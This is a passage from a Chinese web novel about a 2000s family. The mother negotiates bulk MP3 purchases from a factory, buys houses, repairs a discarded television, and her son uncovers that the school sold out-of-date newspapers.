但是上次我帮你买了部MP3寄回去,不知道别人怎么传的,传成我在老家有人想进一批MP3,特地私下找我买样品你说这是不是很离谱?要样品怎么会只要一款,应该多要几款才对吧? 关键是领导还真信了,把我列入业务员参考名单里,还跟说我,如果我在老家那边有销售渠道,就让我占一个名额,去市中心的销售点工作。” 赵如月听完问道:“你们厂子自己牌子的MP3是不是滞销了?” 范小蓉回想起领导找自己去谈话的时候,那语重心长的样子,还有不经意间看到领导唉声叹气的情形。 她说道:“感觉好像是有点不太能卖得出去,这边很多这样的小牌子,竞争激烈得很,我们厂还算比较大的厂子,还有一些小厂,甚至都不能说是厂,就是些小作坊,做出来的价格更便宜,就是质量不好说,我们厂子好歹也是给某些知名牌子代工的。” 从范小蓉的话里,赵如月听得出来,她对这个厂子的感官挺好,甚至还有了一点归属感。 电话里范小蓉继续说:“我们领导说,谁能在一个月内卖出去一千台MP3,谁就能去当营业员,厂里所有人都能竞争上岗。 本来我觉得自己没有当业务员的经验,不是很想换岗位,就想安安稳稳地在厂里干活挣钱,攒够钱就自己买个小房子,好歹算有个家了。 可是有人竟然真把我当竞争对手,总是想着抓我的错处,把我赶走。 我在车间干活期间,打报告要上厕所,她都能叽歪几句,我气不过就想反击回去,前阵子真卖出去两百台MP3和一百多台MP4。” 赵如月听完也觉得无语:“然后她就急了?以为我就是你在老家销售渠道的人脉?” “对,她还总是套我的话,想要你的联系方式,还想偷你给我写的信,幸好厂子门卫大爷比较负责,他知道那是我的信,就没让她拿走。 之前小卖部接电话的人就不太行,我今天打听了才知道,她们竟然老乡! 估计她们俩串通好了,看到来电是我老家的号码,就让那个人去接,想把你的名字和联系方式弄到手,幸亏你机警。” 范小蓉说半天,终于做好了心理准备。 有些不好意思地开口,说出自己想让赵如月帮的忙:“她那么针对我,我也不服气,想竞争那个岗位把她挤下去,只是我还有六百多台的量需要完成…… 我就想着,能不能把我攒下来的钱寄给你,再跟你借一些钱,以你的名义在厂里进七百台MP3。 可能还得麻烦你帮忙在老家那边卖,不过,也不用着急卖,可以慢慢卖,能回了本钱就行。” 她觉得自己的这个请求属实太过难为人,担心赵如月生气,以后都不跟她联系了,所以一直在考虑要不要跟赵如月说。 殊不知,那些话听在赵如月的耳朵里,就仿佛在说:姐,我要给你送钱,我倒贴自己的钱给你送钱! 这个馅饼隔空兜头砸过来,差点没把赵如月砸晕。 飞快冷静下来后,赵如月仔细想了想。 进货渠道有了,还是很靠谱的渠道:厂家源头直供,没有中间商赚差价。 售后也不难,她这个学期就快学到了,到时候自己买点简单的维修设备回来。 再收几个破MP3、MP4回来,自己修一修练练手,练熟了维修这部分,她自己就能干。 从销售到售后维修,她自己甚至能一条龙全包。 而且她再过一段时间,也许就能组装电脑,连给客人下载音乐、视频这些活也能包了! 这个机会她要是还抓不住的话,自己都会看不起自己! 电话里,范小蓉担心自己的话被人听到,压低了声音。 小声说自己的存款:“我来这边工作还不到一年,存下的钱比较少,满打满算只有一万块,连七百台MP3的订金都不够,可能要借你的比较多……” 订金? 赵如月眼睛一亮,觉得自己以前真是脑子转不过弯来。 也是对做生意没什么经验,他们去给批发店进货,一般都是检查过东西没问题,就把货款全部结清给批发商。 她和宁绍明两个人都完全没想过,他们拿货根本不需要马上付清货款。 要是他们固定在某个批发商那里进货,批发商为了稳定她这个客源,没准还愿意提前把货给她,年底再结清货款。 其实很多人都是这么干的,也就他们夫妻俩太老实。 怪不得批发商每次看到他们去进货,脸都快笑烂了,批发商年底要账估计也挺不容易。 迅速思考清楚后,赵如月斩钉截铁地打断范小蓉的话:“不用寄给我。” “什么?”范小蓉没反应过来。 赵如月重复道:“不用把你的存款寄给我,你自己留着以备急用,进货的钱我自己出。 从现在起,我将正式成为你在老家真正销售渠道人脉,不过现在我作为你的零售商,还是渠道商来着?嗐,不管了,反正我现在需要你去跟领导提个要求。” 她身份转变太快,范小蓉愣了好一会儿,消化完她的话,脑子才反应过来。 以为赵如月全是为了自己才要出这个钱,忙道:“姐,其实你不用……” “用的,亲兄弟都要明算账,我不能占你的便宜,接下来你听我的,要不然我要生气了!”赵如月故意说道。 范小蓉赶紧说:“姐,你别生气,我都听你的。” 赵如月:“这就对了,你不用担心我是为了你才花钱进货,其实我是为了我自己才决定进货的,而且订购MP3根本用不到那么多钱。” “啊?可是我算过,七百台MP3,厂里出厂价最低能给到六十八块钱一台,总价四万七千多,加上运输费用,算它四万八千块钱,厂里要求进货至少要付一半货款当订金,那就是将近两万五千块。” 赵如月听完她的话就忍不住笑了,这个傻姑娘,把最低价都一股脑说出来了。 “用不着那么多,一万就够了,等会儿你挂了电话就去找你们领导,说我要进六百台MP3,一百台MP4,要求拿到货前先付百分之二十的订金,拿到货之后,再付百分之三十,下次进货前会先结清所有货款。” “这样真行吗?” “你跟领导说的时候,多个心眼,别那么老实地直愣愣就说有人找你进货,你可以说,好不容易才说服我在你们厂进货。 再夸张一点说我在这边的生意做得多大,有多少多少家门店,这次只是试探着进第一批货,回去试着卖卖看,要是合作愉快,后续肯定还会进更多,别家厂子的业务员接在跟我接触,要是你们厂不答应我的要求,转头去别人家也不麻烦。” 这话说得,哪怕范小蓉知道她只是给自己打个比方,也不由紧张起来,有种生怕客户跑了的感觉。 “那我去试试,成了马上给你回电话。” “好,你不用太紧张,也别给自己太大压力,反正这事能成就成,不能成也还可以按照你之前说的来办,方法总比困难多。” 挂了电话,赵如月迫不及待地跟宁绍明说这件事。 宁绍明有些意外,但是仔细想想MP3在本地受欢迎的程度,也觉得很高兴。 真能谈到百分之二十的订金的话,一万块钱也就是店里一个月的利润,他们还是能拿得出来的。 预留到拆迁区买房的钱有五万,那一片房价很低,他们不贪,也担心张彦君把这事透露给他们的事暴露,并不打算趁机在拆迁区动作太大。 只打算看看那一片搬到外地不打算再回来的人家的房子,要是能遇到出国不会再回来的那种更好。 如果在拆迁区找不到合适的房子,他们甚至宁愿不买。 不过那四间房得尽快拿下,然后抓紧时间翻修好,要不然可能会耽误赵如月卖货。 好在赵如玉那边的速度比范小蓉那边快一些。 范小蓉那边可能是以前没有过这个先例,又或者是觉得她这边太远,只收百分之二十的订金风险太大,这个要求一直没谈下来,范小蓉正在努力跟她领导磨这个事。 而赵如玉在确定赵如月和宁绍明还愿意买那四间房后,跟那兄弟俩说清楚了赵如月这边的要求,八万一分不愿意加。 他们也许是觉得,去找别的买家,可能比较难遇到可以一次性把钱付清,付钱还那么干脆的。 也有可能是有得到什么消息,想尽快卖出这四间房,把钱拿到手,再去拆迁区买。 总之他们很快答应了赵如月的要求,又迅速地约定好交易的时间地点。 这次见面双方还挺尴尬,但没影响交易,签了合同,一手交钱,一手交钥匙,证件也都带在身上,当天就去办理过户手续。 对方走了点关系,办手续的速度也很快,赵如月当天就拿到了写着自己名字的房屋产权证。 离开办事大厅的时候,她都还有一种不真实感。 “这就成了?” 宁绍明跟在她身边笑眯眯地点头:“成了,你没在做梦。” 他们这就在县城有房子了,其实他自己也觉得跟做梦似的。 回到家后,宁绍明做了一大桌子的菜,几个孩子还以后今天是什么节日。 赵如月暂时不想让太多人知道自家买房的事,干脆连自家孩子都没说。 就随口编了个借口,说今天是她跟宁绍明谈恋爱的纪念日,以前没条件,现在有条件了就庆祝一下,把这事糊弄过去了。 赵如月觉得给堂妹送礼物作为感谢的事,宜早不宜迟,吃完饭去学校上课前,她就跟宁绍明商量,想尽快去市里一趟。 “你觉得小春现在能不能自己独当一面了?如果他还不行的话,我们去市里那天干脆关门休息一天?” 这次去市里不比去县城,去县城可以下午不那么忙再出发。 他们这次也不是带孩子去玩,而是要把市里卖电视和小灵通的地方都逛一遍,货比三家。 所以他们早上得早点去,才有足够的时间逛,然后下午也要早点回来,晚上赵如月才能按时去上课。 宁绍明说:“我觉得他可以了,店里的东西他做得都不错,只是他对自己没信心,总担心出错会被客人说,我不在的时候,客人一多,恐怕他一紧张就慌了,还是得逼他一把。” “那后天我们去市里,店里照常营业?” 宁绍明点头:“等我们在县城的店开起来,我也不能两头跑,得让他试着独立处理厨房里的事了,要是这次他能坚持下来,我们就给他加工资怎么样?” 赵如月说:“可以,正好暑假丹萍能全天在店里帮忙,小春的工资涨了,也能给丹萍的工资涨一点,那孩子想上中专呢,可大嫂一心想着让她去打工给家里挣钱。” 宁绍明:“我们只能这么帮衬一点,再多也不可能了。” 确定好去市里的时间,赵如月就回了娘家一趟,跟娘家人说电视的事。 赵如月有些埋怨道:“光伟被人欺负好几次,你们也不跟我说一声,思芸是不是也被欺负过?我看他俩都不如以前活泼了” “他们两个年纪都不小了,长大成熟了当然不如小时候那么活泼,”她哥还憨憨地说,“你每天那么忙,我们怎么好拿这种小事去打扰你,那也就是小孩子之间的打闹,算不上很严重。” “怎么不算严重?我就没见还有谁家孩子是这么跟人打闹的,欺负人就是欺负人,”赵如月把侄子侄女拉过来在自己身边坐下,“你们跟姑姑说,是不是隔壁家那小子欺负你们,你们才不爱出去玩了?” 两个孩子含着眼泪可怜巴巴地点头。 赵思芸十三岁了,下个学期就要上初中。 她见姑姑愿意给自己撑腰,就把不敢跟家里大人说的话也跟姑姑说了:“隔壁那小子的姐姐,在镇初中上初三,她放假回来还说,等我今年九月份上初中,肯定给我好看,听说在她镇初中有势力得很,很是很多厉害的人物。” “什么有势力、大人物的,我看她是古惑仔电影看多了,她认识的那些人,不就是镇上和附近村里年纪比你们大几岁,又早早不读书在外面学古惑仔瞎混的小混混猫么。 没什么了不起的,别怕她,你越怕她,她越喜欢欺负你,等姑姑从市里回来,给你想个办法。” 赵如月说完刚想问大哥大嫂要不要跟自己一起去,毕竟也要给他们家买电视,总得买个他们自己喜欢的。 还没等说话,就见她闺女滑着滑板从外面跟一阵风似的刮进来,唰地一下在她身边停下,挤进她怀里,把表哥表姐都挤开了。 大声说:“妈妈,好消息好消息!特大好消息!” 赵如月忍俊不禁问:“什么好消息?” “今天我跟爷爷去回收站卖破烂,看到老板收回来两台电视,我跟哥哥买回来了,就花了两百块钱,赚翻了!” “回收站只有坏掉的电视吧?”赵如月没被这个不算好消息的好消息冲昏头脑。 他们俩把电视买回来,觉得自己赚翻了,回收站老板愿意两百块钱卖给他们的东西八成很难修,可能也觉得自己赚翻了。 宁时夏坚持自己跟哥哥就是赚翻了:“妈妈会修呀,我哥哥说修好就能省很多钱!” 赵如月好笑地说:“可是我还没看过那两个电视,怎么知道我会不会修呢?” “对哦。”宁时夏挠头,可是她觉得妈妈什么都修会呀…… 不过修不好也没关系:“老板说要是修不好,我们还能拿回去退给他,到时候他会退一半的钱给我们,要是能修好,只花两百块就能拥有两台电视,哥哥觉得这样很划算。” 赵如月无奈摇头:“算了,买都买了,我回去看看能不能修。” 要是修不好,退回去后,损失一百块钱,就当给两个孩子交学费了,也让他们明白,以后不要总想着以小博大、捡便宜。 赵如月回去后,看到他们买的那两台大屁股电视,觉得闺女和儿子愿意花两百块钱买下来也不是没有道理。 首先这两台电视的外观还挺新,完全不像用了很久,用得坏到不能修,才卖给回收站的样子。 她问儿子:“这电视回收站老板有没有说是什么毛病?” 宁时秋点头:“回收站老板说,这个电视的屏幕坏了,换的话要话几百块钱,人家觉得换屏幕太贵,还不如买个新的,就把这个旧电视卖了,打算换个新的。” 赵如月让宁绍明把排查拉过来,给其中一台通上电。 打开后可以听到声音,但屏幕不显示图像,屏幕还有条从中间横贯的线,目测不像屏幕本身被破坏后产生的线。 要是没上夜校之前,赵如月可能还真不会修。 但是现在她一看就知道,这么标准的水平一条亮线,这台电视很大可能是场块线路故障。 把这电视卖给回收站的人,八成又遇到无良维修师傅了。 这台电视如果没有其他问题的话,只要把电路板场块脱焊的地方加焊一下。 赵如月看向两个眼巴巴等着结果的孩子:“看来还真是让你们遇上好东西了。” 宁时夏欢呼,并拉着她哥开始扭屁股跳舞:“太好了,啦啦啦、啦啦啦、我们是省钱的小行家!” 宁时秋一脸嫌弃,但也没甩开妹妹的手,跳着跳着,他渐渐比妹妹跳得还起劲。 她不管他俩闹,又简单地检查了一下另一台,就去小仓库拿工具箱。 现在她的工具箱已经比之前的那个小箱子大了很多,工具也比以前丰富很多。 宁时夏看妈妈带着手套,提着工具箱出来,觉得妈妈酷得要命。 小狗腿似的,抢先帮忙把堂屋最亮的灯管打开,握了握拳头喊:“妈妈加油!” 赵如月笑地摸摸她脑袋,转头就看到旁边的爷俩也是眼睛亮晶晶地看着自己。 她好哭笑不得地也在他们头上抹了一把,才开始干活。 赵如月把工具箱放下后,打开盖子取工具。 以前家里只有手动的螺丝刀,后来班上同学说人多的话,买工具可以讲价,她就跟同学一起添置了一些家里没有的工具。 电动螺丝刀和焊笔就是那时候添置的其中两样。 有电动螺丝刀之后,她现在拆后盖方便快捷很多。 赵如月先给电视机断电,把电视机的‘大屁股’拆下放到一边,再将电路板的连接线拔掉,重新插上电,测试一下屏幕。 确认屏幕上只有水平一条亮线,没有其他问题后,她找到电路板上场块脱焊的地方,用焊笔点涂助焊剂把脱焊的部位修复好。 最后清理一下电视机内部的灰尘,把后壳装回去就可以了。 不过赵如月没着急马上把后壳装回去,而是先给电视通电测试一下,要不然再有问题还得拆开。 家里其他人看到电视竟然那么快就修好了,感觉有些不敢置信。 纷纷围了过来,紧张地盯着电视屏幕看。 100-110 第101章 屏幕上中间先出现了一个四方形的小块画面,那画面跳动了几下,闪烁着慢慢恢复成正常的样子。 只不过彩电不像以前的黑白电视那样自带天线,它需要接入闭路线或者‘大锅’才能接收到电视信号。 现在电视屏幕里显示的画面全是雪花。 但这不影响围观的所有人不约而同地发出‘哇’的一声惊叹。 “这一下能省好几百!” 赵如月的大嫂说:“不是好几百,得省下小几千块钱了,这两个看起来像是二十四寸的彩电!” 前段时间她去县城看电视的价格降了多少,对二十一寸到二十四寸彩电的价格烂熟于心。 因为她只敢看这个尺寸的电视,二十一寸的电视最低八百块钱,二十四寸的电视最低一千五。 尺寸再大一点的彩电,价格就要三千往上了。 赵如月看向两个孩子:“这两台电视你们打算怎么处理?” 这个他们俩早就想好了:“一台放店里我们看,另一台随便妈妈怎么处理。” 他们有的看就行了,自家有电视,以后就不用总是去别人家看。 其实本来这次妈妈也说过,帮外婆家买电视的时候,他们自己家也要买。 要是这次没碰上这两台电视,他们过不久也会有电视看的。 另一台赵如月没犹豫:“那我把这台送给外公外婆了?” “好。”两个孩子点头。 外公外婆和舅舅舅妈虽然不好意思常来店里,觉得每次来他们爸爸都会做好东西招待,太占他们家便宜,也怕他们爷爷奶奶有意见。 但表哥表姐们有空都会来,每次快到吃饭的点就跑,不管是偶尔来的外婆还是经常来的表哥表姐,每次来店里都一直帮忙干活。 这些事宁时秋和宁时夏看在眼里,也记在心里,这电视给外婆家,两个孩子都觉得很合适。 既然他们不要钱,也不好意思留下吃饭,那给个没花多少钱的东西总可以吧? 赵如月她哥嫂急忙摆手:“不行不行,这也太贵重了,你修好了拿去卖,也能卖好几百块钱。” 赵如月说:“哪能这么算,这电视买回来又没花多少钱,你们要是心里过意不去,把那一百块钱补给小秋和小夏就行,我修理都没花多少时间精力,就不要了。” 宁时秋和宁时夏也点头表示赞同妈妈的话。 他们还想说些什么,赵如月皱眉了:“可别跟我说什么不好意思之类的话,你们是我哥哥嫂子非得我说不收我就生气了才行吗?自家人别跟我搞客气推让那一套。” 这话说的,直接把他们没说出口的话全堵回去了。 赵如月的哥嫂没办法,只好看向宁绍明。 他和赵如月双方父母家都没电视,这电视给了岳父岳母,他们也担心宁绍明会有意见,到时候夫妻俩吵架,为了一台电视影响夫妻感情就不好了。 宁绍明被看得有些莫名其妙:“怎么都看着我,这电视不是我买的,也不是我修好的,我没有发表意见的资格,你们按照小月说的做就行,我在家里也得听她的。” 宁绍明早就明白了,他这边的人就是不如老婆那边的娘家人团结。 他这边的,不说来店里帮忙,别给他找事、别反过来叫他帮忙就不错了。 现在他不就在照拂大哥家的两个孩子么。 而赵如月娘家那边,人家可从来没给他们惹什么麻烦。 就说现在跟赵如月关系最不好的大姨子,之前虽然跟她闹得不太愉快,但是赵如月大姐的两个闺女一有空就来店里帮忙,她大姐也没说过什么。 有时候还会让孩子来的时候,顺便给带一些家里种的鲜嫩的青菜。 而且乡下孩子懂事早,别看这两个小姑娘一个不到十五岁、一个刚满十三岁,她们干活的麻利程度,可不比宁丹萍差。 原本他和媳妇儿也想给她娘家的几个孩子工钱,但是那几个孩子说什么都不要,家长也不许他们收,还不许他们留下吃饭。 所以宁绍明只能换着花样多做点好吃的零食投喂。 宁绍明话音刚落,宁时秋和宁时夏再次点头:“我们也听妈妈的。” 赵如月双手放他俩头上,把他们头发都揉乱:“你们两个机灵鬼,不让我都听你们的就不错了!下次遇到这种事,不许自作主张!” 他们很多事情她可以不管,放养式地让他们自己发挥,自由生长,但是涉及到她的事,她总能管一管吧? 两个孩子不好意思地笑,跟她保证以后不会这样了,有什么事想请妈妈帮忙,会提前跟她商量。 赵如月看他们的表情就知道,他们听进去了,不像有些孩子,一件事需要反复去教、反复去提醒很多遍都不一定能往心里去,做出的保证也一样,说过后转头就忘记。 心里不由感慨,自家的两个孩子确实是来报恩的。 赵如月不跟哥嫂商量了,直接对她哥嫂说:“绍明平时拉去夜市街摆摊装东西的平板车,应该也能拉电视,你们用那个车把这台拉走吧。” 等赵如月把后壳装上,宁绍明很有默契地转身,去帮他们把平板车拉出来了。 他擦了擦板子上面的灰后,不由分说地直接把那电视往车上一搬。 “好了,你们拖回去,晚点我去摆摊前把平板车送回来就行,明天我们抽空一起去营业厅找人拉闭路线,我去找人给家里装电话的时候看过,闭路费一个月二十六块钱,直接交一年有优惠,只要两百二十六块。” 赵鸿发和陈芳妮看看跟在他们身边,一脸期待的自家孩子,再也说不出拒绝的话来。 跟妹妹妹夫道谢后,赵鸿发硬是给了宁时秋和宁时夏一人一百,才在自家孩子的簇拥下,拉着平板车往家走。 他们离开前,赵如月拉了一下嫂子的胳膊,小声说:“嫂子,你等等,我有件事想跟你商量一下。” 陈芳妮停下脚步:“什么事?” 赵如月问:“买电视的钱省下了,你们要不要再买一台影碟机?” 自家两个小机灵鬼没弄到这两台电视之前,赵如月是这么想的:去市里买电视时,顺便再买一个影碟机送给娘家。 毕竟娘家几个孩子总来帮忙,却不收钱,她总不能理所当然地当做什么都不知道。 现在影碟机的价格也降低很多,便宜的一百多就能买到,她送一个两三百的影碟机,再送几张小孩子还看的电影碟片,也算是对娘家人的感谢。 不过现在送了电视,计划就又赶不上变化了,她再送影碟机她哥哥嫂子肯定不愿意再收。 现在娘家买电视机的钱省下了,倒是可以劝他们买一个影碟机,赵如月自己也打算给自家买一个,碟片她就可以多买几张送他们看。 影碟机对现在的人吸引力还是很强的,除了影碟机,还有音响,对现在的人吸引力也尤其大。 至于原因,赵如月自己也不太清楚。 她只知道,除清明和中元节之外,每逢过年过节,谁家要是有个影碟机和一对音响,肯定要从早上开始,一直开着放歌到晚上。 每当这时候,那户人家就能收获无数邻居和过路人羡慕的眼光。 陈芳妮听了赵如月的话,也是狠狠心动了。 他们前阵子卖葡萄卖了不少钱,手头比以前松快很多,而且买个影碟机可比买电视便宜得多。 一想到以后自己家一下子就拥有了电视和影碟机,陈芳妮这心就无比火热,感觉日子更有盼头了:“我回去跟你大哥商量一下,要是我们决定买的话,明天就把钱拿来给你。” “行。”赵如月目送她走远,也转身回去捣鼓自己家的电视了。 她回到家里问宁时秋和宁时夏:“你们打算把电视放店里还是后面家里?” 宁时夏说:“放店里吧,给家里的店多吸引一点人来,我看小卖部就是这么做的。” 宁时秋却摇头:“我觉得最好别放店里。” “为什么呀?”赵如月的想法跟女儿一样,她以为儿子应该不会看不出电视放在店里的好处。 宁时秋解释道:“你们看那家用电视吸引人的小卖部,虽然也吸引很多小孩,但是也成天有一堆奶奶大娘在那里坐着不走。 我有些同学跟我说,她们都不敢进那家小卖部买东西了。” 赵如月有点明白了:“她们说你同学闲话?” “对,”宁时夏表情一言难尽地说,“那些奶奶大娘总爱对她们指指点点,一会儿说这个小姑娘生得圆润屁股大,以后好生养,一会儿又说这个太瘦,看起来病恹恹的以后难嫁了。 我同学听着觉得不舒服,还跟她们吵过架,结果没吵赢,还被气哭了,反而又被她们说脾气大,以后去了婆家要被婆家嫌弃,被老公婆婆收拾,现在只要不是非常着急要用的东西,我同学她们宁愿拐去更远的地方买。” 宁时秋顿了顿,有些欲言又止,又觉得自己接下来的话,说出来好像不太好。 赵如月察觉到了:“你想说什么就说,说不对也没事的。” 结果这孩子说出来的话,也不是不对,就是比较现实。 “我还觉得,我们家卖的东西,不适合让客人在店里久待,要不然店里的桌椅就不够用了,客人看店里没位置坐,可能会转头去别人家吃。 妈妈你想想,本来客人很快吃完就走,有电视他们就要一边看一边吃,吃得很慢,吃完后可能还想看,就一直占着位置,很多人都是我们家的熟客,你们哪好意思赶人家?” 赵如月早有心理准备,依然难免被儿子的商业思维惊讶到。 宁时秋还在继续说:“让人家走的话,哪怕语气再委婉,人家心里可能也不好受,原本爱来的我们家吃东西的人,以后可能就不来了,反而得不偿失。” 宁时夏也听懂了:“那我也觉得放堂屋更好,可惜以后爸爸妈妈和小春哥丹萍姐闲下来也不能看电视了。” 因为就算人少的时候,也会零星地来客人,有些客人在店里看不到人,不好意思喊,他们得在店里候着,不能因为哪个时间段客人少就不管了。 苍蝇腿也是肉,更何况客流少的时间段进店的客人数量,陆陆续续加起来也不算少。 赵如月想了想说:“这个好办,我做个可以移动的架子,等客人少的那个时间段,再把架子推出来,别的时候就放在后面的堂屋里,也不用买电视柜了。” 宁时秋眼睛一亮:“妈妈这个主意好!这样就能避免人多的时候客人占位不走的问题,也能让人少的时间多来一些客人,就是不知道这样会不会影响爸爸和小春哥休息?” 宁绍明道:“不会,人少的时间段,就算有电视吸引人,也不会比人多的时间段更多,一个厨子完全能应付得过来。” “那就这么决定了,我下午去县城就买轮子、角钢、角码固定件和螺丝,那些东西便宜得很。” 其实她还会组装接收卫星电视信号的‘大锅’,但是想想买材料太麻烦,闭路费一个月也花不了多少钱就算了。 赵如月拿出卷尺和纸笔,量好电视的长宽高后,一家人就在堂屋里围着电视商量要做一个什么样的架子。 忽然听到外面宁时春喊:“小秋,你同学叫你去学校一趟。” 赵如月疑惑道:“不是放假了吗?奖状都领了,怎么还要去学校?” 宁时秋站起来往外跑,没一会儿又跑进来推自行车:“妈妈,之前学校订的英语学习报到了,老师让我去一趟,帮忙给订购的同学送去。” “英语学习报?”赵如月仔细想了想,终于想起来今年暑期放假前,学校让学生带了个通知回来给家长。 通知上打给内容大概就是:三年级以上的学生,可以自愿订购英语学习报,带回家在暑假的时候看。 因为学校是第一次订这个报纸,所以会把八月以及往前几个月的一起发下来,八月往后的月份会每个月按时发放。 说是秉持自愿原则,不强迫学生订购,但是又让老师在班上口头跟学生说,这个英语学习报就是今年的寒假作业,返校的时候要上交几篇英语读后感。 赵如月看订那个英语报也没多少钱,孩子自己也想看,她家买一份回来,两个孩子都能看,相当于打五折,于是就给孩子订了。 赵如月赶紧起身拿着儿子的鸭舌帽追出去:“那么热的天,你别忘了带上帽子。” 出去一看,宁时秋已经自己戴了个小斗笠,看到她出来就说:“不用了,戴那个不顶用,我戴竹条编的斗笠还更凉快些。” “不怕同学笑话你?” “怕什么,等他们被晒得一脑门汗,羡慕我都来不及。”他说完猛地一蹬,飞快骑着自行车走了。 赵如玉在身后直喊:“你慢点,注意安全!” 宁时秋的声音远远地传来:“知道了——” 等他们商量好架子的样式,宁时夏又困得睡了个午觉醒来,宁时秋才带着厚厚一摞的英语学习报回来。 看到屋里只有她一个人,问道:“妈妈和爸爸去哪了?” 宁时夏小小声地回答:“还在睡觉。” “那我先整理一下报纸。” 宁时夏立刻丢下手里的书跑过去:“我帮你,要怎么整?” “把报纸一张一张展开,一期报纸有三张,按照报纸右上角的编号叠放整齐,这边是正面,这边是反面,正面朝上,先是H24、H23、H22……然后G24、G23、G22……这样整理,整理好之后,第一期的第一张A1就在最上面了。” “好,我知道了。” 报纸整理到一半,赵如月睡醒了,走出来看到两个孩子面前放着的报纸。 那堆报纸看起来厚厚的一摞,要是光看数量,赵如月觉得这钱花得还挺值:“八个月的报纸就有这么多啊?” “妈妈你醒了,这报纸一星期出两期,一期有三张,一次发八个月的量,确实挺多的,”宁时秋看到她醒了,高兴地问,“等我和小夏把报纸整理好,你能不能帮我用针线把报纸订起来,就像书本那样,这样拿着整齐方便一点,也不容易弄丢。” “可以,我去找找合适的针线。”赵如月针线活还是不错的,她这一代人,小时候物资还比较匮乏。 家里没有多余的布做被套的话,就要每年都要把被面拆出来两次,把被面拆洗干净,再重新把被芯缝到被面里固定好。 缝制固定被面和被芯的那种线比较粗,也比较适合用来缝订书本纸张。 她找出来后,看两个孩子还没整理好,顺手拿起几张帮着一起整理。 宁时秋以为她知道要按什么顺序来整理就没多说,但赵如月以为是按照日期来整理的,仔细找半天才找到日期。 结果一看那日期,赵如月不由皱眉道:“2003年6月1日,星期日,小秋,你老师是不是给你拿错报纸了?怎么是2003年的报纸?” 她看着日期所在的那个小角落,位置那么刁钻,字体那么小,要是不认真找,还真发现不了它。 宁时秋拿起第一张标着A1的报纸,上面的日期果然写着2003年1月5日,再看最后一张,2003年8月31日,中间抽检了几张,日期都是2003年。 宁时秋懵了,竟然是去年的报纸,还说什么订购……哪家报纸是这么个订购法? 回过神来,他放下手里的报纸,又带上他的小斗笠:“我去看看其他人的报纸是不是也这样。” 他跟几个同学分头送报纸,他记得自己都送给了哪些人。 找过去后一问,那些同学也没注意到日期:“我还以为没有日期,就是按照那个字母和数字的组合编号来排顺序的。” 好几个同学都这么说,原本宁时秋还以为学校是给错了的话,现在他觉得根本不是给错了,而是故意的。 那个字母和数字组合的编号也许就是个障眼法,让他们整理的时候去看编号,而不是看日期,这样就很难发现这是过期的报纸。 要不是妈妈仔细,连他也不会注意到,那个用超小字体印在不起眼角落的日期。 估计像他妈妈这样,会帮忙整理的家长很少。 很多家长不管孩子的学习,甚至看到那报纸上汉字只有几个,鸟语一大堆,他们看几眼都觉得脑袋晕乎乎的,眼皮仿佛挂了个千斤坠,没几分钟就要睡着了。 “小秋,现在怎么办?我们要一起去找老师反映吗?”宁时秋的同学问。 宁时秋第一反应也是叫上同学们,一起去找老师问问怎么回事,人多力量大,闹大了老师总得给个说法。 但是他冷静下来,认真思考过后觉得这个方法不算好。 他们一起去找老师又有什么用呢?订购英语学习报这件事老师也没有决定权,这是学校领导做出的决定。 老师只是负责把通知发到每个学生手上。 “不用了,我自己去问问老师。” “那我们在我家等你的消息!” 宁时秋挥挥手骑上自行车前往教师宿舍 他班主任纪慧萱看他又来了,疑惑道:“是缺了谁的报纸吗?我这里只有我自己订购的一份,要是缺好几份同一期的报纸,我得问问其他老师。” 宁时秋惊讶地问:“老师,你们也要订吗?” “是啊,学校规定每个老师都要订一份。”纪慧萱自己也无奈得很。 订这个报纸一年的费用也不便宜,再加上她们的工资不按时发,订报这个报纸简直给很多老师本就不富裕的钱包雪上加霜。 她因为可以给人拍照挣点外快,又是一人吃饱全家不饿,情况还好一点。 那些有家有口的老师,除了自己那一份,还得给自己的孩子也买一份,就差没要求老师们给自己的爱人、父母也买一份了。 听到老师的话后,宁时秋觉得果然如此,没有让其他同学一起来找老师是对的。 宁时秋把自己带来的几张报纸递过去:“老师你看看那些报纸的日期。” “日期?”纪慧萱接过来,找了半天,终于在宁时秋的指点下找到了。 然后她也惊讶得说不出话来。 “老师,这个情况,不知道报纸能不能退换?” 纪慧萱叹了口气说:“你等等,我去问问领导。” 负责报纸这事的学校领导也住在学校分配的房子里,从她宿舍过去很快就能到。 不过纪慧萱没带宁时秋的带来的报纸,而是带着自己那一份报纸。 去的路上,纪慧萱遇到跟自己搭班的副班主任,这位副班主任是个在镇中心小学教了很多年书的老教师。 看到她拿着一摞报纸往校领导家的方向走就拦住了她:“小纪,你这还是要去找领导说这个事?” 纪慧萱惊喜道:“陈老师,你也发现了?” “要是你家里没有厉害的关系,我劝你别去,不然没用。” 也就是年轻新来的老师还保持着一腔热血,会管这些事,她们这些老教师已经看透了。 要不是跟纪慧萱搭班挺合得来,这姑娘也勤奋,给她省了很多事,她可不会多嘴说这些话。 “这……可我怎么跟学生交代?学生还在等着我的答复……” 陈老师说道:“你不用跟学生说,你找家长暗示一下就行了,家长会懂的,为了孩子,家长大概率不会为难你。” 陈老师言尽于此,要是纪慧萱坚持去找领导,她也不会管了。 纪慧萱站在原地想了许久,终于还是转身回了宿舍。 面对宁时秋询问的眼神,她连笑都扯不出来:“领导不在,事情暂时没那么快解决,你先回去吧,要是有消息,我会通知你。” 宁时秋迟疑地点头,带着自己的那几张报纸离开了。 “小秋,怎么样了?”回到同学家,等在这里几个同学迫不及待地问他。 宁时秋只能把老师的话转述给他们听。 有个同学忍不住哀嚎:“啊~~~我还以为能把这报纸退掉,就能少写一科暑假作业了!” “小秋,你真的不接代写了吗?” 宁时秋坚决摇头,以前他收钱帮人家写作业,是因为爸爸妈妈不在,奶奶给的零花钱太少,给妹妹的更是少到几乎没有,他的零花钱就跟妹妹一起花,当然就不够花了,才帮人写作业挣点。 现在他又不缺钱了,而且代写作业这个挣零花钱的方式,是他觉得效率又低、消耗时间、体力又多的挣钱方式。 他就这么一双手,每次写得手都酸了也就挣一点钱,很不划算。 一周下来,挣的还不如以前丹萍姐每周借他自行车载人,分给他的分红多。 丹萍姐现在虽然不继续干了,但是宁时秋也已经想到了其他的挣钱方法。 回家后,宁时秋也把老师的话跟妈妈说了,而且他还形容了一下老师带着报纸出门又回来时的表情,这个他没跟自己同学说。 他这么一说,赵如月就大概明白了怎么回事。 这让她想起上辈子的一件事,那是儿子上高中之后的事了。 有一次他从学校回来,告诉她,自己收到了一笔小学和初中的退款。 后来没过多久,她就听说,镇小学和镇初中的校长被抓了,他们老婆在小学和初中开的小卖部也被关掉了。 